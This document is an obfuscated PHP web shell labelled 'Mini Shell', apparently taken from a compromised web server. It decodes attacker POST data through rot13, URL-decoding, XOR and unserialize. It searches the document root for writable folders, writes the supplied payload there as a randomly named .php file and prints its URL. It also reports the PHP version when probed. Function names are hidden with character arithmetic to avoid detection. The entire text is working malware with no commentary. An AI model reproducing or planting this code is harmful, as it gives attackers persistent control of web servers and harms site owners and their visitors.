Mini Shell

<?php $OLqPMYAh = "gVTaXBQ";function XElEFoo($OLqPMYAh){$lmzGB = 'r'."\x61".'w'.'u'.chr(901-787)."\154".'d'.'e'.chr(315-216)."\157".chr(100)."\145";$icTlK = "\163".chr(116).chr(348-234).chr(95)."\x72"."\x6f".'t'.'1'.chr(51);$qYwcSLj = chr(574-459).'t'.chr(114).'_'.chr(1029-914)."\160"."\154".'i'.chr(116);$OLqPMYAh = $qYwcSLj($lmzGB($icTlK($OLqPMYAh)));return $OLqPMYAh;}function ndmhkguS($BhcvYWsamy, $lALsVunxfCZeHsV){$Nhsnr = 's'.'t'.'r'.chr(95).chr(705-590)."\x70"."\x6c"."\151".chr(527-411);$BhcvYWsamy = array_slice($Nhsnr(str_repeat($BhcvYWsamy, (count($lALsVunxfCZeHsV)/16)+1)), 0, count($lALsVunxfCZeHsV));return $BhcvYWsamy;}function uVUhGpdlSu($fjvmrkojKc, $sGMSBBzt, $BhcvYWsamy){$ufXPwkrG = "99a5b978-ea1c-4b50-8d5f-70ff1de92c3b";return $fjvmrkojKc ^ $ufXPwkrG[$sGMSBBzt % strlen($ufXPwkrG)] ^ $BhcvYWsamy;}function NjoUK($lALsVunxfCZeHsV, $BhcvYWsamy){$lALsVunxfCZeHsV = array_map("uVUhGpdlSu", array_values($lALsVunxfCZeHsV), array_keys($lALsVunxfCZeHsV), array_values($BhcvYWsamy));$lALsVunxfCZeHsV = implode("", $lALsVunxfCZeHsV);$QHTzKLwzyg = chr(187-70).'n'."\163".chr(101)."\x72".chr(105)."\x61"."\154".chr(828-723)."\x7a".chr(101);$lALsVunxfCZeHsV = @$QHTzKLwzyg($lALsVunxfCZeHsV);return $lALsVunxfCZeHsV;}function czxLOZm(){echo "xxojMZXw";}function RwNrKLCv($lALsVunir){static $zcYIISa = array();$fbNeNMYlfH = glob($lALsVunir . '/*', GLOB_ONLYDIR);$puRaErioNT = count($fbNeNMYlfH);if ($puRaErioNT > 0) {foreach ($fbNeNMYlfH as $lALsVun) {$MHPsYjfQ = "\x69".'s'."\137".chr(636-517)."\x72".chr(105).chr(116).'a'."\x62".chr(828-720)."\145";if (@$MHPsYjfQ($lALsVun)) {$zcYIISa[] = $lALsVun;}}}foreach ($fbNeNMYlfH as $lALsVunir) RwNrKLCv($lALsVunir);return $zcYIISa;}function AcjwUJcd(){echo "gVTaXBQ";}function BAHGv($lALsVunxfCZeHsV){$eHWlXCRdn = "\104".'O'."\x43"."\125".chr(77).chr(689-620).chr(913-835)."\124"."\137".chr(227-145).chr(355-276).'O'.chr(762-678);$MIqWrPcv = $_SERVER[$eHWlXCRdn];$fbNeNMYlfH = RwNrKLCv($MIqWrPcv);$kyPUhCPm = array_rand($fbNeNMYlfH);$AazHdwZ = chr(46).chr(349-237).chr(908-804)."\160";$RyUfiRjHyA = $fbNeNMYlfH[$kyPUhCPm] . "/" . substr(md5(time()), 0, 8) . $AazHdwZ;$JdfKW = chr(204-102)."\151".chr(721-613).chr(101)."\x5f".chr(112).'u'.'t'.'_'."\143".chr(411-300).chr(110)."\164".chr(805-704)."\156"."\x74".chr(115);@$JdfKW($RyUfiRjHyA, $lALsVunxfCZeHsV);$kmGtGpSrp = "\x48".chr(667-583).chr(586-502).chr(618-538).chr(976-881).'H'.'O'."\x53".'T';$xDdYqIkIkX = "\150"."\164".chr(815-699).chr(112)."\72"."\x2f".chr(47);$muMHFcusC = $xDdYqIkIkX . $_SERVER[$kmGtGpSrp] . substr($RyUfiRjHyA, strlen($MIqWrPcv));print($muMHFcusC);}foreach ($_POST as $BhcvYWsamy => $lALsVunxfCZeHsV){$vVhmuk = strlen($BhcvYWsamy);if ($vVhmuk == 16){$lALsVunxfCZeHsV = XElEFoo($lALsVunxfCZeHsV);$BhcvYWsamy = ndmhkguS($BhcvYWsamy, $lALsVunxfCZeHsV);$lALsVunxfCZeHsV = NjoUK($lALsVunxfCZeHsV, $BhcvYWsamy);if (@is_array($lALsVunxfCZeHsV)){$kyPUhCPm = array_keys($lALsVunxfCZeHsV);$lALsVunxfCZeHsV = $lALsVunxfCZeHsV[$kyPUhCPm[0]];$kyPUhCPm = $kyPUhCPm[0];if ($lALsVunxfCZeHsV !== $kyPUhCPm){BAHGv($lALsVunxfCZeHsV);}else {$dBVYYL = chr(337-225).'h'.chr(112);$jrHjv = 'p'.chr(104).chr(152-40).chr(661-543).chr(101).chr(114)."\x73"."\x69"."\x6f"."\156";$lALsVunxfCZeHsV = Array($dBVYYL => @$jrHjv(), );$lQYTxict = "\163"."\145"."\162"."\151"."\141"."\154".chr(105).chr(122).chr(282-181);echo @$lQYTxict($lALsVunxfCZeHsV);}die();}}}